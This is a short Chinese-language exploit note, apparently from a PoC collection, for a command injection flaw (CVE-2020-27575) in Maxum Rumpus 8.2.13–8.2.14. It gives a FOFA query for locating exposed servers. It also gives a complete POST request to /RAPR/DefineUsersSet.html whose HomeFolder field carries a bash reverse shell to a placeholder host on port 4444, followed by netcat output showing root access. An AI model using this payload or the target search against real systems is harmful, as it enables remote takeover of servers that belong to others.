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    Maxum Rumpus 命令注入漏洞(CVE-2020-27575).md
    1003 B / 2021-05-21 09:14:38
        # Maxum Rumpus 命令注入漏洞(CVE-2020-27575)
    
    Max Rumpus 8.2.13和8.2.14存在命令注入漏洞。Web管理用户的地方。编辑用户表单中HomeFolder参数由于验证不足存在命令注入漏洞,从管理帐户向服务器发送恶意POST请求将导致命令执行。
    
    FOFA:
    
    ```
    app="maxum-Rumpus"
    ```
    
    影响版本:
    
    8.2.13-8.2.14
    
    反弹shell PoC:
    
    
    ```
    POST /RAPR/DefineUsersSet.html HTTP/1.1
    Host: X.X.X.X
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: text/plain;charset=UTF-8
    Content-Length: 72
    Origin: http://X.X.X.X
    Connection: close
    Referer: http://X.X.X.X/
    Cookie: UserAccount=_UwtsA9IFxh91RR; SessionID=1143479735
    
    Username=user&HomeFolder=/'`bash>%26/dev/tcp/Y.Y.Y.Y/4444+0>%261`/
    
    
    % nc -l 4444
    whoami
    root
    ```
    
    ref:
    
    * https://nvd.nist.gov/vuln/detail/CVE-2020-27575
    * https://tvrbk.github.io/cve/2021/03/07/rumpus.html
    
    
    links
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